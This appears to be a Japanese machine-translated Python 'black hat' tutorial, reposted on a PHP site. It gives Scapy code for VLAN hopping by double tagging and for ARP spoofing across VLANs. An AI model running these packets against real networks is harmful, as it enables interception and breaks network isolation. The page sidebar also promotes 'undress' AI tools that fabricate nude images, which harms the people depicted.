ホームページ バックエンド開発 Python チュートリアル VLAN 全体での Python ブラック ハット プログラミング 3.4

VLAN 全体での Python ブラック ハット プログラミング 3.4

Feb 24, 2017 pm 03:29 PM

VLAN (仮想ローカル エリア ネットワーク) は、イーサネット インタラクション テクノロジーに基づいて構築された仮想ネットワークです。同じ物理ネットワークを複数の VALN に分割するだけでなく、物理ネットワークの障壁を越えて、異なるサブネット内のユーザーを同じ VLAN に割り当てることもできます。 VLAN。図 2 は VLAN 分割の例です。

Python黑帽编程 3.4 跨越VLAN

図 2

VLAN を実装するには、通常、スイッチング機器に基づく 2 種類の VLAN 分割があります。

l スイッチベースのポート分割

l IEEE 802.1q に基づく。プロトコル、拡張イーサネット フレーム形式

第 2 層の VLAN テクノロジーに基づいて、トランキングの概念があり、異なるスイッチ間を接続して、同じ VLAN のメンバーが複数のスイッチ間で通信できるようにします。お互い。スイッチ間の相互接続に使用されるポートはトランク ポートと呼ばれます。 80.2.1q に加えて、Cisco には ISL と呼ばれる独自のトランク プロトコルがあります。

Python黑帽编程 3.4 跨越VLAN

図 3

図 3 は 802.1q データ パケットであり、VLAN タグが追加されている点を除いて、通常のイーサネット フレームと本質的には変わりません。赤い部分の VLAN 識別子は、データ パケットがどの VLAN に属しているかを識別するため、データ ブロードキャストの範囲が VLAN にまたがらないことが保証されます。

それでは、VLAN を越えて通信したい場合、データ パケット内の識別子を変更するだけでよいのでしょうか?

3.4.1 VLAN ホッピング

上記の分析に基づいて、クロス VLAN ping、Vlan1 のホストから Vlan2 のホストに ping 要求を送信するという単純なシナリオを検討します。

具体的なコーディングの前に、VLAN パケット構築の問題を解決する必要があります。Scapy では、Dot1Q クラスを使用して図 3 のタグ部分を構築します。図 4 に示すように。

Python黑帽编程 3.4 跨越VLAN

図 4

これで、クロス VLAN ping リクエストを作成できるようになりました。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)
ログイン後にコピー

上記のコードでは、ターゲット ホストの MAC アドレスと IP アドレスを指定し、2 つの VLAN 識別子を追加します。1 つ目はデータを送信するホストが配置されている VLAN で、2 つ目は VLAN です。ターゲット ホストが存在する VLAN。スイッチは最初の識別子を削除し、2 番目の識別子を読み取ると、パケットをターゲット ホストに転送します。

3.4.2 VLAN をまたがる ARP スプーフィング

セクション 3.1、3.2、および 3.3 で ARP スプーフィングの問題について議論しています。VLAN はブロードキャスト ドメインを制限するため、前のコードは VLAN をまたいで実行できません。 ARP スプーフィング。ただし、この問題を解決するには、前に作成した ARP スプーフィング データに VLAN 識別子を挿入するだけで済みます。次のコードは、セクション 3.1 で ARP 要求パケットを構築するために使用したコードです。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
ログイン後にコピー

データ パケットの構築の部分で、VLAN 識別子を挿入します:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
ログイン後にコピー

このようにして、VLAN 間での ARP スプーフィングを実現できます。

3.4.3 概要

このセクションでは主に、VLAN 間データ通信と ARP スプーフィングの目的を達成するために、VLAN をスプーフィングするデータ パケットを構築する方法について説明します。この記事の方法は主に 802.1Q プロトコルを対象とし、ポートによって物理的に分離された VLAN には影響しないことに注意してください。

上記は、編集者が紹介した VLAN にわたる Python ブラックハット プログラミング 3.4 の詳細な説明です。ご質問があれば、メッセージを残してください。編集者が返信します。時間。また、PHP 中国語 Web サイトをサポートしていただきありがとうございます。

Python ブラック ハット プログラミング 3.4 クロス VLAN 関連記事をさらに詳しく知りたい場合は、PHP 中国語 Web サイトに注目してください。


このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

LinuxターミナルでPythonバージョンを表示するときに発生する権限の問題を解決する方法は? LinuxターミナルでPythonバージョンを表示するときに発生する権限の問題を解決する方法は? Apr 01, 2025 pm 05:09 PM

LinuxターミナルでPythonバージョンを表示する際の許可の問題の解決策PythonターミナルでPythonバージョンを表示しようとするとき、Pythonを入力してください...

あるデータフレームの列全体を、Python内の異なる構造を持つ別のデータフレームに効率的にコピーする方法は? あるデータフレームの列全体を、Python内の異なる構造を持つ別のデータフレームに効率的にコピーする方法は? Apr 01, 2025 pm 11:15 PM

PythonのPandasライブラリを使用する場合、異なる構造を持つ2つのデータフレーム間で列全体をコピーする方法は一般的な問題です。 2つのデータがあるとします...

プロジェクトの基本と問題駆動型の方法で10時間以内にコンピューター初心者プログラミングの基本を教える方法は? プロジェクトの基本と問題駆動型の方法で10時間以内にコンピューター初心者プログラミングの基本を教える方法は? Apr 02, 2025 am 07:18 AM

10時間以内にコンピューター初心者プログラミングの基本を教える方法は?コンピューター初心者にプログラミングの知識を教えるのに10時間しかない場合、何を教えることを選びますか...

uvicornは、serving_forever()なしでhttpリクエストをどのように継続的に聞いていますか? uvicornは、serving_forever()なしでhttpリクエストをどのように継続的に聞いていますか? Apr 01, 2025 pm 10:51 PM

UvicornはどのようにしてHTTPリクエストを継続的に聞きますか? Uvicornは、ASGIに基づく軽量のWebサーバーです。そのコア機能の1つは、HTTPリクエストを聞いて続行することです...

文字列を介してオブジェクトを動的に作成し、Pythonでメソッドを呼び出す方法は? 文字列を介してオブジェクトを動的に作成し、Pythonでメソッドを呼び出す方法は? Apr 01, 2025 pm 11:18 PM

Pythonでは、文字列を介してオブジェクトを動的に作成し、そのメソッドを呼び出す方法は?これは一般的なプログラミング要件です。特に構成または実行する必要がある場合は...

人気のあるPythonライブラリとその用途は何ですか? 人気のあるPythonライブラリとその用途は何ですか? Mar 21, 2025 pm 06:46 PM

この記事では、numpy、pandas、matplotlib、scikit-learn、tensorflow、django、flask、and requestsなどの人気のあるPythonライブラリについて説明し、科学的コンピューティング、データ分析、視覚化、機械学習、Web開発、Hの使用について説明します。

See all articles